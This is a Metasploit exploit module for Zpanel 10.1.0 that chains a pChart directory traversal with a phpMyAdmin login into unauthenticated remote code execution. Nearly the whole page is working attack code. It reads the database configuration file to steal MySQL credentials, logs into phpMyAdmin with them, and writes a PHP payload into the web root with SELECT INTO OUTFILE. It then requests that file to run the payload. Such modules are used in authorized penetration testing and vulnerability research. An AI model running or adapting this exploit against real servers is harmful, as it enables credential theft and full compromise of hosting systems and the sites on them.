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Zpanel 10.1.0 Remote Unauthenticated Code Execution

Posted on 21 October 2015

require 'msf/core'
require 'msf/core/exploit/php_exe'
require 'nokogiri'
require 'uri'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::FileDropper
 include Msf::Exploit::PhpEXE

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'Zpanel Remote Unauthenticated RCE',
 'Description' => %q{
 This module exploits an information disclosure vulnerability
 found in Zpanel <= 10.1.0. The vulnerability is due to a
 vulnerable version of pChart allowing remote, unauthenticated,
 users to read arbitrary files found on the filesystem. This
 particular module utilizes this vulnerability to identify the
 username/password combination of the MySQL instance. With the
 credentials the attackers can login to PHPMyAdmin and execute
 SQL commands to drop a malicious payload on the filesystem and
 call it leading to remote code execution.
 },
 'Author' =>
 [
 'dawn isabel',
 'brad wolfe',
 'brent morris',
 'james fitts'
 ],
 'License' => MSF_LICENSE,
 'References' =>
 [
 [ 'CVE', '2013-2097' ],
 [ 'EDB', '31173' ], # pChart
 [ 'OSVDB', '102595' ], # pChart
 [ 'URL', 'http://bugs.zpanelcp.com/view.php?id=665' ],
 [ 'URL', 'http://seclists.org/fulldisclosure/2013/Jun/39' ],
 [ 'URL', 'http://www.reddit.com/r/netsec/comments/1ee0eg/zpanel_support_team_calls_forum_user_fucken/' ]
 ],
 'Payload' =>
 {
 'BadChars' => "x00",
 },
 'Platform' => 'php',
 'Arch' => ARCH_PHP,
 'Targets' =>
 [
 [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
 [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
 ],
 'DefaultTarget' => 0,
 'DisclosureDate' => 'Jan 30 2014'))

 register_options(
 [
 OptString.new('TARGETURI', [true, 'The base path to Zpanel', '/zpanel'])
 ], self.class)
 end

 def get_setting(res, setting_name)
 n = ::Nokogiri::HTML(res.body)
 spans = n.search('//code//span//span')
 found_element = spans.select{ |e| /#{setting_name}/ === e.text }.first
 val = found_element.next.next.text
 val.scan(/['"]([[:print:]]+)['"]/).flatten.first || ''
 end

 def get_user(res)
 get_setting(res, 'user')
 end

 def get_passwd(res)
 get_setting(res, 'pass')
 end

 def get_dbname(res)
 get_setting(res, 'dbname')
 end

 def dot_dot_slash(uri)
 res = send_request_cgi({
 'method' =>'GET',
 'uri' => normalize_uri("#{uri}", 'etc', 'lib', 'pChart2', 'examples', 'index.php'),
 'vars_get' => {
 'Action' => 'View',
 'Script' => '../../../../cnf/db.php'
 }
 })

 uname = get_user(res)
 passwd = get_passwd(res)
 dbname = get_dbname(res)

 return uname, passwd, dbname
 end

 def get_token_from_form(res)
 hidden_inputs = res.get_hidden_inputs
 hidden_inputs.first['token']
 end

 def get_token_from_url(url)
 u = URI(url)
 u.query.split('&').each do |param|
 param_name, param_value = param.scan(/([[:print:]]+)=([[:print:]]+)/).flatten
 return param_value if param_name == 'token'
 end

 ''
 end

 def grab_sess_and_token(uri)
 print_status('Attempting to get PHPSESSIONID')
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri("#{uri}"),
 })

 unless res
 fail_with(Failure::Unknown, 'Connection timed out while attempting to get PHPSESSID')
 end

 cookies = res.get_cookies
 sid = cookies.scan(/(PHPSESSID=w+);*/).flatten[0] || ''

 if sid.length > 0
 print_good('PHPSESSID identified!')
 print_good("PHPSESSID = #{sid.split("=")[1]}")

 print_status('Attempting to get CSRF token')
 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri("#{uri}", 'etc', 'apps', 'phpmyadmin', 'index.php'),
 'Cookie' => "#{sid}"
 })

 unless res
 fail_with(Failure::Unknown, 'Connection timed out while attempting to get CSRF token')
 end

 token = get_token_from_form(res)
 cookies = res.get_cookies

 cookies = cookies.split('; ')
 cookies = "#{cookies[-1]} #{cookies[1]}; #{cookies[2]}; #{cookies[3]}; #{sid}"

 if token.length > 0
 print_good('CSRF token identified!')
 print_good("CSRF token = #{token}")
 return cookies, token, sid
 else
 print_error('CSRF token could not be identified...')
 end
 else
 print_error('PHPSESSID could not be identified...')
 end
 end

 def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id)
 old_cookies = cookies

 res = send_request_cgi({
 'method' => 'POST',
 'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
 'cookie' => cookies,
 'ctype' => 'application/x-www-form-urlencoded',
 'headers'=>
 {
 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
 },
 'vars_post' => {
 'pma_username' => uname,
 'pma_password' => passwd,
 'server' => '1',
 'lang' => 'en',
 'collation_connection' => 'utf8_general_ci',
 'token' => token
 }
 })

 cookies = "#{res.get_cookies}"

 old_cookies = old_cookies.split("; ")
 cookies = cookies.split("; ")

 new_cookies = "#{old_cookies[0]}; "
 new_cookies << "#{old_cookies[1]}; "
 new_cookies << "#{old_cookies[2]}; "
 new_cookies << "#{old_cookies[3]}; "
 new_cookies << "#{cookies[0]}; "
 new_cookies << "#{cookies[1]} "
 new_cookies << "#{sess_id}"

 token = get_token_from_url(res['Location'])

 res = send_request_cgi({
 'method' => 'GET',
 'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'index.php'),
 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/",
 'cookie' => new_cookies,
 'vars_get' => {
 'token' => token
 }
 })

 unless res
 fail_with(Failure::Unknown, 'Connection timed out while attempting to login to phpMyAdmin')
 end

 if res.code == 200 and res.body.to_s =~ /phpMyAdmin is more friendly with a/
 print_good('PHPMyAdmin login successful!')
 return new_cookies, token
 end
 end

 def do_sql(cookies, token, uri)
 fname = "#{rand_text_alpha_upper(5)}.php"
 sql_stmt = "SELECT "<?php #{payload.encoded} ?>" INTO OUTFILE "/etc/zpanel/panel/#{fname}""

 res = send_request_cgi({
 'method' => 'POST',
 'uri' => normalize_uri('etc', 'apps', 'phpmyadmin', 'import.php'),
 'cookie' => cookies,
 'ctype' =>'application/x-www-form-urlencoded; charset=UTF-8',
 'headers' => {
 'X-Requested-With' => 'XMLHttpRequest',
 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/server_sql.php?token=#{token}"
 },
 'vars_post' => {
 'is_js_confirmed' => '0',
 'token' => token,
 'pos' => '0',
 'goto' => 'server_sql.php',
 'message_to_show' => 'Your+SQL+query+has+been+executed+successfully',
 'prev_sql_query' => '',
 'sql_query' => sql_stmt,
 'sql_delimiter' => ';',
 'show_query' => '1',
 'ajax_request' => 'true',
 '_nocache' => rand.to_s[2..19].to_i
 }
 })

 unless res
 fail_with(Failure::Unknown, 'Connection timed out when attempting to upload payload')
 end

 if res.body =~ /"success":true/
 print_good("'#{fname}' successfully uploaded")
 print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'")
 print_status("Executing '#{fname}' on the remote host")

 res = send_request_cgi({
 'method'=>'GET',
 'uri'=>normalize_uri("#{uri}", "#{fname}")
 })
 else
 print_error("#{res.body.to_s}")
 end
 end

 def exploit
 # Checking pChart
 res = send_request_cgi({
 'method'=> 'GET',
 'uri'=> normalize_uri("#{datastore['URI']}", 'etc', 'lib', 'pChart2', 'examples', 'index.php')
 })

 # if pChart is vuln version
 if res.body =~ /pChart 2.x/
 uname, passwd, db_name = dot_dot_slash("#{datastore['URI']}")
 if uname.length > 0 && passwd.length > 0
 print_good('Directory traversal successful, Username/Password identified!')
 print_good("Username: #{uname}")
 print_good("Password: #{passwd}")
 print_good("DB Name: #{db_name}")
 cookies, token, sess_id = grab_sess_and_token("#{datastore['URI']}")
 print_status('Logging into PHPMyAdmin now')
 cookies, token = login_phpmyadmin("#{datastore['URI']}", uname, passwd, cookies, token, sess_id)
 print_status('Uploading malicious payload now')
 do_sql(cookies, token, "#{datastore['URI']}")
 else
 print_error('It appears that the directory traversal was unsuccessful...')
 end
 else
 print_error("It appears that the version of pChart is not vulnerable...")
 end
 end
end

 

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